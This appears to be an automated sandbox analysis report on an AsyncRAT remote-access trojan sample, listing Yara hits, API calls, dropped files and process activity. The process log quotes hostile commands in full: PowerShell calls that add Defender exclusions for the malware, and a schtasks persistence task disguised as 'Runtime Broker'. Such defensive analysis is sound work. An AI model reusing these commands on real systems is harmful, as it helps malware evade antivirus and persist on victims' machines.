Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match

File source: Process Memory Space: coonfart.exe PID: 4320, type: MEMORYSTR

Source: C:\Users\user\Desktop\80BvHOM51j.exe

Code function: 0_2_00007FF6ACE81520 system,SetConsoleTitleW,GetStdHandle,GetStdHandle,GetConsoleScreenBufferInfo,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,GetStdHandle,GetConsoleScreenBufferInfo,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,_invalid_parameter_noinfo_noreturn,SetConsoleTextAttribute,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z,SetConsoleTextAttribute,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,SetConsoleTextAttribute,?cin@std@@3V?$basic_istream@DU?$char_traits@D@std@@@1@A,??5?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@AEAH@Z,SetConsoleTextAttribute,?cin@std@@3V?$basic_istream@DU?$char_traits@D@std@@@1@A,?fail@ios_base@std@@QEBA_NXZ,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,SetConsoleTextAttribute,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,SetConsoleTextAttribute,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z,Sleep,SetConsoleTextAttribute,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,SetConsoleTextAttribute,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z,SetConsoleTextAttribute,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,SetConsoleTextAttribute,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,Sleep,_time64,srand,SetConsoleTextAttribute,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,SetConsoleTextAttribute,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,_invalid_parameter_noinfo_noreturn,memcpy,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z,GetAsyncKeyState,SetConsoleTextAttribute,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,SetConsoleTextAttribute,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,exit,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z,Sleep,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,Concurrency::cancel_current_task,

0_2_00007FF6ACE81520

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

Process information set: 01 00 00 00

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: sslproxydump.pcap, type: PCAP	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.2.coonfart.exe.12d61a78.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 2.0.coonfart.exe.a00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000003.1740708063.000001EE0BBE1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000000.1739984751.0000000000A02000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000002.2922028493.0000000012D61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.2910321731.000001EE0BC0A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000003.1740708063.000001EE0BC02000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1], type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\Public\Runtime Broker, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\80BvHOM51j.exe	Code function: 0_2_00007FF6ACE81520	0_2_00007FF6ACE81520
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Code function: 0_2_00007FF6ACE82C60	0_2_00007FF6ACE82C60
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Code function: 2_2_00007FFD9BAA23E1	2_2_00007FFD9BAA23E1
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Code function: 2_2_00007FFD9BAA16D9	2_2_00007FFD9BAA16D9
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Code function: 2_2_00007FFD9BAA6EC2	2_2_00007FFD9BAA6EC2
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Code function: 2_2_00007FFD9BAA6116	2_2_00007FFD9BAA6116
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Code function: 2_2_00007FFD9BAA48ED	2_2_00007FFD9BAA48ED
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Code function: 2_2_00007FFD9BAA2141	2_2_00007FFD9BAA2141
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFD9BBA3332	12_2_00007FFD9BBA3332
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Code function: 16_2_00007FFD9BAA16D9	16_2_00007FFD9BAA16D9
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Code function: 16_2_00007FFD9BAA0FF8	16_2_00007FFD9BAA0FF8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Code function: 16_2_00007FFD9BAA2141	16_2_00007FFD9BAA2141
Source: C:\Users\Public\Runtime Broker	Code function: 23_2_00007FFD9BAD16D9	23_2_00007FFD9BAD16D9
Source: C:\Users\Public\Runtime Broker	Code function: 23_2_00007FFD9BAD0FF8	23_2_00007FFD9BAD0FF8
Source: C:\Users\Public\Runtime Broker	Code function: 23_2_00007FFD9BAD2141	23_2_00007FFD9BAD2141

Source: 80BvHOM51j.exe, 00000000.00000003.1740708063.000001EE0BC2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRuntime Broker.exe4 vs 80BvHOM51j.exe
Source: 80BvHOM51j.exe, 00000000.00000002.2910321731.000001EE0BC2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRuntime Broker.exe4 vs 80BvHOM51j.exe
Source: 80BvHOM51j.exe, 00000000.00000002.2910321731.000001EE0BC0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRuntime Broker.exe4 vs 80BvHOM51j.exe
Source: 80BvHOM51j.exe, 00000000.00000003.1740708063.000001EE0BC02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRuntime Broker.exe4 vs 80BvHOM51j.exe

Source: sslproxydump.pcap, type: PCAP	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.2.coonfart.exe.12d61a78.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 2.0.coonfart.exe.a00000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000003.1740708063.000001EE0BBE1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000000.1739984751.0000000000A02000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000002.2922028493.0000000012D61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.2910321731.000001EE0BC0A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000003.1740708063.000001EE0BC02000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1], type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\Public\Runtime Broker, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: coonfart.exe.0.dr, YebcPNnUFO90wmxhl0MY1ZHpDaQWqNuizhyA4TrgUQPuFv4liXqUc5RGXDmbxW5WViuzZfd4IyWHl43y534vtrIVxLU4tW93Fw.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: coonfart.exe.0.dr, v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: coonfart.exe.0.dr, v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, YebcPNnUFO90wmxhl0MY1ZHpDaQWqNuizhyA4TrgUQPuFv4liXqUc5RGXDmbxW5WViuzZfd4IyWHl43y534vtrIVxLU4tW93Fw.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, YebcPNnUFO90wmxhl0MY1ZHpDaQWqNuizhyA4TrgUQPuFv4liXqUc5RGXDmbxW5WViuzZfd4IyWHl43y534vtrIVxLU4tW93Fw.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, YebcPNnUFO90wmxhl0MY1ZHpDaQWqNuizhyA4TrgUQPuFv4liXqUc5RGXDmbxW5WViuzZfd4IyWHl43y534vtrIVxLU4tW93Fw.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, v3PUPliSrRwajxOVLYu7vQWg1nl9cRDbIWcPu9FDSMGDs9M5dyDOj4Kg8YRh8Qs7IDXosTFkN4kzioKZ1ollrdyfkTdo5Jf780.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, RdUutxlZeW6b75qg39GcLx.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, RdUutxlZeW6b75qg39GcLx.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: Runtime Broker.2.dr, RdUutxlZeW6b75qg39GcLx.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Runtime Broker.2.dr, RdUutxlZeW6b75qg39GcLx.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, RdUutxlZeW6b75qg39GcLx.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, RdUutxlZeW6b75qg39GcLx.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, RdUutxlZeW6b75qg39GcLx.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, RdUutxlZeW6b75qg39GcLx.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: coonfart.exe.0.dr, RdUutxlZeW6b75qg39GcLx.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: coonfart.exe.0.dr, RdUutxlZeW6b75qg39GcLx.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, RdUutxlZeW6b75qg39GcLx.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, RdUutxlZeW6b75qg39GcLx.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.adwa.expl.evad.winEXE@32/30@3/5

Source: C:\Users\user\Desktop\80BvHOM51j.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1]

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7956:120:WilError_03
Source: C:\Users\Public\Runtime Broker	Mutant created: NULL
Source: C:\Windows\System32\OpenWith.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7624:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Mutant created: \Sessions\1\BaseNamedObjects\9qmKYugMaLefqzVF
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7500:120:WilError_03
Source: C:\Windows\System32\OpenWith.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7384:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5084:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5052:120:WilError_03

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

File created: C:\Users\user\AppData\Local\Temp\Log.tmp

Jump to behavior

Source: C:\Users\user\Desktop\80BvHOM51j.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.bat" "

Source: 80BvHOM51j.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\80BvHOM51j.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\80BvHOM51j.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 80BvHOM51j.exe

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Users\user\Desktop\80BvHOM51j.exe "C:\Users\user\Desktop\80BvHOM51j.exe"
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe"
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'coonfart.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Runtime Broker'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Public\Runtime Broker"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\Public\Runtime Broker "C:\Users\Public\Runtime Broker"
Source: unknown	Process created: C:\Windows\System32\OpenWith.exe C:\Windows\system32\OpenWith.exe -Embedding
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\OpenWith.exe C:\Windows\system32\OpenWith.exe -Embedding
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe"	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.bat" "	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'coonfart.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Runtime Broker'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Public\Runtime Broker"	Jump to behavior

Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
